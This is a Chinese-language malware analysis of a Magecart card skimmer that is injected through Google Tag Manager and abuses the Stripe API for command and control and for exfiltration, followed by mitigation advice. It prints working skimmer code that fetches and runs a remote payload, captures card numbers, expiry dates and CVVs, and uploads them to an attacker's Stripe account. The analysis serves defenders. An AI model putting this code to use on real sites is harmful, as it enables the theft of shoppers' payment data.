你還相信 GTM 安全嗎?
摘要
這份報告提供了一份針對進階 Magecart 側錄器活動的詳細技術分析,該活動利用 Stripe API 同時作為命令與控制(C2)伺服器以及資料外洩的 sink。此研究深入探討了 Loader 機制、竊取流程、資料外洩技術,以及在用戶端暴露 Stripe secret keys 所帶來的重大安全影響。此外,文章也將此攻擊與其他多層次側錄器攻擊進行比較,突顯常見的混淆與持久化策略。
1. 簡介
Magecart 攻擊的特徵是將惡意 JavaScript 注入電子商務網站以竊取付款卡資訊,此類攻擊的複雜度持續演進。Sansec 最近發現一個新變種,巧妙地濫用廣泛被信賴的付款處理服務 Stripe API 來輔助其運作。這種手法讓側錄器能夠繞過傳統的安全措施,例如內容安全政策(Content Security Policies, CSPs)與網路過濾器,因為這些機制通常會信任流向合法 Stripe 域名的流量 [1] 。本報告剖析此攻擊的技術細節,檢視其從程式碼投遞到資料外洩的各個階段,並探討其對網站安全的影響。
2. 攻擊機制總覽
此攻擊分為三個主要階段,每個階段都為了最大化隱蔽性與有效性而設計:
- 程式碼投遞: 初始 Loader 被內嵌在合法的 Google Tag Manager (GTM) 容器中,並在載入的頁面上執行。在結帳頁面上,它會動態地從 Stripe 客戶的 metadata 中提取側錄器的 payload。
- 竊取: 側錄器會主動監控並 hook 結帳流程。當使用者與結帳按鈕互動時,它會提取敏感的付款與帳單資訊。
- 外洩: 竊取到的資料會定期從 localStorage 中被取出,並偽裝成新的客戶記錄,秘密地上傳到攻擊者的 Stripe 帳戶。
3. 技術深入探討
3.1. Loader 機制
Loader 是一段透過 Google Tag Manager 注入的 JavaScript 程式碼片段。其主要功能是取得並執行實際的側錄器 payload。其隱蔽性的一個關鍵在於使用
new Function()
來執行從外部來源(特別是 Stripe 客戶的 metadata)取得的程式碼。這允許任意遠端程式碼執行,使 Stripe 有效地成為命令伺服器
[1]
。
Loader 中負責提取側錄器的程式碼如下:
- // on checkout pages, fetch the skimmer from Stripe and run it
- if (location.href.indexOf("checkout") !== -1) {
- setTimeout(function() {
- getMetaString().then(function(code) {
- if (code) new Function(code)(); // arbitrary remote code execution
- });
- }, 2000);
- }
- // fetch the skimmer chunks from the attacker's Stripe customer metadata
- function getMetaString() {
- return fetch("https://api.stripe.com/v1/customers/cus_TfFjAAZQNOYENR", {
- headers: { Authorization: "Bearer sk_test_51Shuxz4fAPbvfTkr[...]" }
- }).then(function(r) { return r.json(); })
- .then(function(r) {
- return Object.keys(r.metadata).map(function(k) { return r.metadata[k]; }).join("");
- });
- }
在此程式碼中,
getMetaString()
向
api.stripe.com
發出
fetch
請求,以從攻擊者的 Stripe 帳戶中取得特定的客戶記錄 (
cus_TfFjAAZQNOYENR
)。側錄器 payload 被分割並儲存於此客戶記錄中的多個 metadata 欄位(例如
meta0
、
meta1
)。Loader 接著將這些區塊串接起來,並將結果字串當作 JavaScript 程式碼執行。這種方法允許攻擊者更新側錄器,而無需修改受害者網站上的 GTM 標籤
[1]
。
3.2. 資料竊取
一旦執行,側錄器會主動監控結帳頁面的使用者輸入。它使用特定的 selector 來識別並提取付款卡詳細資料(卡號、到期日、CVV)以及帳單資訊。一個值得注意的特性是其條件式資料儲存:僅在所有四個卡號欄位都存在時才儲存資料,以確保所竊取認證的完整性 [1] 。
下列程式碼展示了竊取邏輯:
- // poll until the Magento checkout button exists, then hook its click
- var poll = setInterval(function() {
- var btn = document.querySelectorAll(".action.primary.checkout:not()");
- if (!btn.length) return;
- clearInterval(poll);
- btn[0].addEventListener("click", function() {
- // read each field by selector, "null" when absent, then pipe-join
- var grab = function(sel) {
- var el = document.querySelectorAll(sel);
- return el.length ? el[0].value : "null";
- };
- var out = [
- grab('input[autocomplete="cc-number"]'),
- grab('[name="payment[cc_exp_month]"]'),
- grab('[name="payment[cc_exp_year]"]'),
- grab('input[name="payment[cc_cid]"]'),
- // ...firstname, lastname, street[0], city, country_id, region_id, // postcode, customer-email, telephone, [data-th='Grand Total']
- ].join("|");
- // store only when card number, expiry month/year and CVV are all present
- var f = out.split("|");
- if (f[0] !== "null" && f[1] !== "null" && f[2] !== "null" && f[3] !== "null") {
- // XOR each char against "EGAU3X9PAMJ8RYRNJSPV", hex-encode, then save
- localStorage.setItem("cus_customer_id", xorHex(out + "|CP"));
- }
- });
- }, 1000);
提取的資料接著使用一個寫死在程式碼中的金鑰(
EGAU3X9PAMJ8RYRNJSPV
)進行 XOR 編碼,並儲存在瀏覽器的
localStorage
中,鍵值為
cus_customer_id
。這種將竊取與外洩分離的做法是一種關鍵的反偵測技術,因為側錄器本身不會執行任何網路請求
[1]
。
3.3. 資料外洩
外洩流程是由 Loader 中的另一個獨立常式處理,與竊取機制分開運作。此常式在頁面載入後不久執行,然後定期執行,檢查
localStorage
中是否有被竊取的資料。如果找到資料,就會將其準備好並發送到攻擊者的 Stripe 帳戶。
- // run the exfiltration routine 1s after load, then every 60s
- setTimeout(pdat, 1000);
- var mtimer = setInterval(pdat, 60000);
- // upload the stolen blob from localStorage as a fake Stripe customer
- function pdat() {
- var blob = localStorage.getItem("cus_customer_id");
- if (!blob) return;
- clearInterval(mtimer);
- var half = Math.floor(blob.length / 2); // split in half, crude obfuscation
- var body = "email=johndoe@gmail.com" +
- "&metadata[customer_id]=" + encodeURIComponent(blob.slice(0, half)) +
- "&metadata[device_id]=" + encodeURIComponent(blob.slice(half));
- fetch("https://api.stripe.com/v1/customers", {
- method: "POST",
- headers: { Authorization: "Bearer sk_test_51Shuxz4fAPbvfTkr[...]" },
- body: body
- }).then(function(r) {
- if (r.ok) localStorage.removeItem("cus_customer_id");
- });
- }
pdat
函數會從
localStorage
中取出經過 XOR 編碼的 blob。接著它會將 blob 分成兩半(這是一種粗糙的混淆技術),並將它們分別作為
metadata[customer_id]
和
metadata[device_id]
,透過 POST 請求發送到 Stripe 的客戶建立 API (
https://api.stripe.com/v1/customers
)。一個填充用的電子郵件地址 (
johndoe@gmail.com
) 被用於這個假的客戶記錄。成功外洩後,資料會從
localStorage
中移除,以避免重複傳輸
[1]
。
3.4. 用戶端曝露 Stripe Secret Keys
此攻擊中的一個關鍵安全缺陷是,一個寫死在程式碼中的 Stripe secret key(例如
sk_test_51Shuxz4fAPbvfTkr[...]
)直接出現在用戶端的 JavaScript 中。Secret keys 本應保留在伺服器端,而在瀏覽器腳本中曝露此類金鑰是明確的入侵指標。這讓攻擊者可以直接從客戶端與 Stripe API 互動,將 Stripe 轉變為一個用於 C2 和資料外洩的多功能平台
[1]
。
3.5. Firestore 變種
研究人員也發現了此側錄器家族的一個變種,它使用 Google Firestore 而不是 Stripe。此變種遵循類似的模式,從
localStorage
(鍵值為
_d_data_customer_
)讀取竊取到的資料,並從一個 Firestore 文件中提取其 payload。使用像是
braintree-payment-app
的專案名稱和
tracking/captcha
的文件路徑,是為了試圖融入合法流量中,這顯示攻擊者持續積極濫用受信任的雲端 API 作為隱蔽通道
[1]
。
4. 與多層次側錄器技術的比較
在 Stripe API 側錄器中觀察到的技術,與其他進階 Magecart 攻擊有相似之處,特別是那些採用多層次混淆與持久化機制的攻擊。例如, 前期文章分析的一個針對 WordPress 網站的多層次信用卡側錄器,就展示了類似的 payload 隱藏與 C2 通訊策略 [2] 。
4.1. Payload 隱藏與混淆
Stripe 側錄器和 WordPress 側錄器都運用了複雜的方法來隱藏其惡意 payload。Stripe 側錄器將其 payload 分散在 Stripe 客戶的 metadata 中,而 WordPress 側錄器則將其 JavaScript payload 嵌入看似無害的 PNG 檔案中。這種技術利用了網頁伺服器和瀏覽器經常忽略有效圖像檔案中尾部資料的事實,使得惡意程式碼可以在不影響圖像呈現的情況下被附加進去 [2] 。
此外,兩種攻擊都採用了廣泛的混淆手法。WordPress 側錄器使用簡單但有效的 XOR 密碼進行字串混淆,使得靜態分析變得困難,並繞過基本的內容標記工具 [2] 。這與 Stripe 側錄器對竊取資料所使用的 XOR 編碼如出一轍,凸顯了這是一種用來躲避偵測的常見策略。
- // PHP function for string de-obfuscation using XOR cipher (from WordPress skimmer [2])
- // The function takes a hex-encoded string and a key, then performs a byte-by-byte XOR operation.
- function fn_obfuscated_text($input, $key) {
- // 1. Convert the hexadecimal input string back to binary data.
- $data = hex2bin($input);
- $output = '';
- // 2. Iterate through the data bytes.
- for ($i = 0; $i < strlen($data); $i++) {
- // 3. Perform XOR operation on the current data byte and the key byte.
- // The key is reused (wrapped) if it is shorter than the data.
- $output .= chr(ord($data[$i]) ^ ord($key[$i % strlen($key)]));
- }
- // 4. Return the de-obfuscated string (e.g., "billing_first_name").
- return $output;
- }
4.2. 持久化與規避
WordPress 側錄器也展示了強大的持久化機制,包括將自己隱藏起來,使其不會出現在標準的 WordPress 外掛清單中,並追蹤具有權限的使用者,以避免對管理員注入側錄器程式碼。這種選擇性目標攻擊(通常稱為「gating」機制)是一種先進的反偵測措施,目的在確保網站管理員和安全研究人員不會無意中觸發或觀察到惡意行為,從而使攻擊活動能夠持續更長時間 [2] 。
5. 建議與緩解措施
為了防禦這類進階的側錄器攻擊,多層次的防禦策略至關重要:
- 強化用戶端安全性: 實施嚴格的內容安全政策(CSPs),嚴格定義允許的腳本源,並防止內聯腳本執行。定期審查用戶端 JavaScript 是否存在可疑程式碼,特別是直接呼叫付款 API 或出現 secret keys 的情況。
- Google Tag Manager 審計: 定期檢視所有 GTM 容器和自訂標籤。任何非網站所有者明確添加的標籤都應立即調查。
- API 金鑰管理: 確保所有 API secret keys,尤其是 Stripe 等付款閘道器的金鑰,嚴格保留在伺服器端。在用戶端曝露此類金鑰是一個嚴重的漏洞。
-
行為監控:
部署能夠監控異常行為模式的安全解決方案,例如對
localStorage的非預期修改或對不受信任網域的對外請求。 - 定期安全掃描: 使用專門的電子商務安全掃描器來偵測側錄器、後門以及對網站程式碼庫的未授權變更。
6. 結論
Stripe API 側錄器代表了 Magecart 攻擊技術的重大演進,展現了攻擊者濫用受信任服務以達到惡意目的的獨創性。透過利用 Stripe 作為 C2 和外洩通道,側錄器有效地規避了傳統的安全控制。客戶端 secret keys 的出現,以及複雜混淆和持久化機制的使用,凸顯了在電子商務環境中持續保持警覺並採取進階安全措施的必要性。了解這些攻擊向量對於制定有效的防禦措施和保護敏感的客戶資料至關重要。